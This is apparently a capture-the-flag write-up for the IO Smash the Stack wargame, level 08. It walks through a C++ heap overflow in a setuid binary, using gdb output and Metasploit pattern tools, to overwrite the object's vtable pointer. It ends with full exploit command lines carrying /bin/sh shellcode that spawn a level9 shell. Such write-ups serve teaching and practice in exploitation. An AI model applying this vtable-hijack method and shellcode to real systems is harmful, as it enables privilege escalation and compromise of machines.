IO Smash the stack level 08

Level08

level8@io:/levels$ ls -latr level08*
-r-sr-x--- 1 level9 level8 14343 Sep 17  2010 level08_alt
-r-------- 1 level8 level8  1927 Jan  3  2012 level08_alt.cpp
-r-sr-x--- 1 level9 level8  6662 Jan 26  2012 level08
-r-------- 1 level8 level8   666 May 27  2014 level08.cpp
// writen by bla for io.smashthestack.org
#include <iostream>
#include <cstring>
#include <unistd.h>

class Number
{
        public:
                Number(int x) : number(x) {}
                void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}
                virtual int operator+(Number &r) {return number + r.number;}
        private:
                char annotation[100];
                int number;
};


int main(int argc, char **argv)
{
        if(argc < 2) _exit(1);

        Number *x = new Number(5);
        Number *y = new Number(6);
        Number &five = *x, &six = *y;

        five.setAnnotation(argv[1]);

        return six + five;
}

I actually tried to do a overflow but couldn’t really understand why I had issues getting the return address overwritten. So I found an article about C++ VPTRs. So its a matter of overwriting the virtual function (operator+)

level8@io:/levels$ gdb -q ./level08
Reading symbols from /levels/level08...(no debugging symbols found)...done.
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048694 <+0>:	push   %ebp
   0x08048695 <+1>:	mov    %esp,%ebp
   0x08048697 <+3>:	and    $0xfffffff0,%esp
   0x0804869a <+6>:	push   %ebx
   0x0804869b <+7>:	sub    $0x2c,%esp
   0x0804869e <+10>:	cmpl   $0x1,0x8(%ebp)
   0x080486a2 <+14>:	jg     0x80486b0 <main+28>
   0x080486a4 <+16>:	movl   $0x1,(%esp)
   0x080486ab <+23>:	call   0x804857c <_exit@plt>
   0x080486b0 <+28>:	movl   $0x6c,(%esp)
   0x080486b7 <+35>:	call   0x80485bc <_Znwj@plt>
   0x080486bc <+40>:	mov    %eax,%ebx
   0x080486be <+42>:	mov    %ebx,%eax
   0x080486c0 <+44>:	movl   $0x5,0x4(%esp)
   0x080486c8 <+52>:	mov    %eax,(%esp)
   0x080486cb <+55>:	call   0x804879e <_ZN6NumberC1Ei>
   0x080486d0 <+60>:	mov    %ebx,0x10(%esp)
   0x080486d4 <+64>:	movl   $0x6c,(%esp)
   0x080486db <+71>:	call   0x80485bc <_Znwj@plt>
   0x080486e0 <+76>:	mov    %eax,%ebx
   0x080486e2 <+78>:	mov    %ebx,%eax
   0x080486e4 <+80>:	movl   $0x6,0x4(%esp)
   0x080486ec <+88>:	mov    %eax,(%esp)
   0x080486ef <+91>:	call   0x804879e <_ZN6NumberC1Ei>
   0x080486f4 <+96>:	mov    %ebx,0x14(%esp)
   0x080486f8 <+100>:	mov    0x10(%esp),%eax
   0x080486fc <+104>:	mov    %eax,0x18(%esp)
   0x08048700 <+108>:	mov    0x14(%esp),%eax
   0x08048704 <+112>:	mov    %eax,0x1c(%esp)
   0x08048708 <+116>:	mov    0xc(%ebp),%eax
   0x0804870b <+119>:	add    $0x4,%eax
   0x0804870e <+122>:	mov    (%eax),%eax
   0x08048710 <+124>:	mov    %eax,0x4(%esp)
   0x08048714 <+128>:	mov    0x18(%esp),%eax
   0x08048718 <+132>:	mov    %eax,(%esp)
   0x0804871b <+135>:	call   0x80487b6 <_ZN6Number13setAnnotationEPc>
   0x08048720 <+140>:	mov    0x1c(%esp),%eax
   0x08048724 <+144>:	mov    (%eax),%eax
   0x08048726 <+146>:	mov    (%eax),%edx
   0x08048728 <+148>:	mov    0x18(%esp),%eax
   0x0804872c <+152>:	mov    %eax,0x4(%esp)
   0x08048730 <+156>:	mov    0x1c(%esp),%eax
   0x08048734 <+160>:	mov    %eax,(%esp)
   0x08048737 <+163>:	call   *%edx
   0x08048739 <+165>:	add    $0x2c,%esp
   0x0804873c <+168>:	pop    %ebx
   0x0804873d <+169>:	mov    %ebp,%esp
   0x0804873f <+171>:	pop    %ebp
   0x08048740 <+172>:	ret
End of assembler dump.

The line

   0x08048737 <+163>:	call   *%edx

is actually the call to the operator+. Using the pattern_create.rb from metasploit to create a pattern.

kgn@kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb 200Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

So lets try to make it crash

(gdb) r $(python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"')
Starting program: /levels/level08 $(python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"')

Program received signal SIGSEGV, Segmentation fault.
0x08048726 in main ()
(gdb) i r
eax            0x41366441	1094083649
ecx            0x0	0
edx            0x0	0
ebx            0x804a078	134520952
esp            0xbffffbd0	0xbffffbd0
ebp            0xbffffc08	0xbffffc08
esi            0x0	0
edi            0x0	0
eip            0x8048726	0x8048726 <main+146>
eflags         0x10202	[ IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb)

So it crashes but we do not get to overwrite EIP .. but EAX looks interesting ( 0x41366441 = A6dA ). Lets see how many bytes we have

kgn@kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 0x41366441
[*] Exact match at offset 108

Lets test it

(gdb) r $(python -c 'print "A" * 108 + "CCCC"')
Starting program: /levels/level08 $(python -c 'print "A" * 108 + "CCCC"')

Program received signal SIGSEGV, Segmentation fault.
0x08048726 in main ()
(gdb) i r
eax            0x43434343	1128481603
ecx            0x0	0
edx            0x0	0
ebx            0x804a078	134520952
esp            0xbffffc20	0xbffffc20
ebp            0xbffffc58	0xbffffc58
esi            0x0	0
edi            0x0	0
eip            0x8048726	0x8048726 <main+146>
eflags         0x10202	[ IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/10x 0x804a078
0x804a078:	0x43434343	0x00000000	0x00000000	0x00000000
0x804a088:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a098:	0x00000000	0x00000000
(gdb) x/10x 0x804a078-112
0x804a008:	0x080488c8	0x41414141	0x41414141	0x41414141
0x804a018:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a028:	0x41414141	0x41414141
(gdb)
0x804a030:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a040:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a050:	0x41414141	0x41414141
(gdb)
0x804a058:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a068:	0x41414141	0x41414141	0x41414141	0x41414141
0x804a078:	0x43434343	0x00000000
(gdb) disassemble 0x080488c8
Dump of assembler code for function _ZTV6Number:
   0x080488c0 <+0>:	add    %al,(%eax)
   0x080488c2 <+2>:	add    %al,(%eax)
   0x080488c4 <+4>:	aam    $0x88
   0x080488c6 <+6>:	add    $0x8,%al
   0x080488c8 <+8>:	loop   0x8048851 <__libc_csu_init+65>
   0x080488ca <+10>:	add    $0x8,%al
End of assembler dump.

Nice .. so we have the operator+ at 0x804a008 and then our buffer. So lets see if we can point it to our A’s to control EIP

(gdb) !echo "obase=16;ibase=16;804A008+4"|bc
804A00C
(gdb) r $(python -c 'print "A" * 108 + "\x0c\xa0\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level08 $(python -c 'print "A" * 108 + "\x0c\xa0\x04\x08"')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x804a078	134520952
ecx            0x0	0
edx            0x41414141	1094795585
ebx            0x804a078	134520952
esp            0xbffffc1c	0xbffffc1c
ebp            0xbffffc58	0xbffffc58
esi            0x0	0
edi            0x0	0
eip            0x41414141	0x41414141
eflags         0x10202	[ IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) r $(python -c 'print "CCCC" + "A" * 104 + "\x0c\xa0\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level08 $(python -c 'print "CCCC" + "A" * 104 + "\x0c\xa0\x04\x08"')

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb)

So now we are in control of EIP :)

level8@io:/levels$ export EGG=$(python -c 'print "\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"')
level8@io:/levels$ /tmp/desdic1/getenv EGG /levels/level08
EGG will be at 0xbffffeca
level8@io:/levels$ /levels/level08 $(python -c 'print "\xca\xfe\xff\xbf" + "A" * 104 + "\x0c\xa0\x04\x08"')
bash-4.2$ whoami
level8

hmm got a shell but I’m still level8 so .. lets try to use the shellcode from Aleph One

oki .. after a couble of tries I figured out that I need to take account for the dereference for the v-table. So to account for this we can point 4 bytes deeper within our buffer.

level8@io:/levels$ echo "obase=16;ibase=16;804A00C+4"|bc
804A010
level8@io:~$ /levels/level08 $(python -c 'print "\x10\xa0\x04\x08" + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"A"*51 + "\x0c\xa0\x04\x08"')
sh-4.2$ whoami
level9

“Fun And Profit”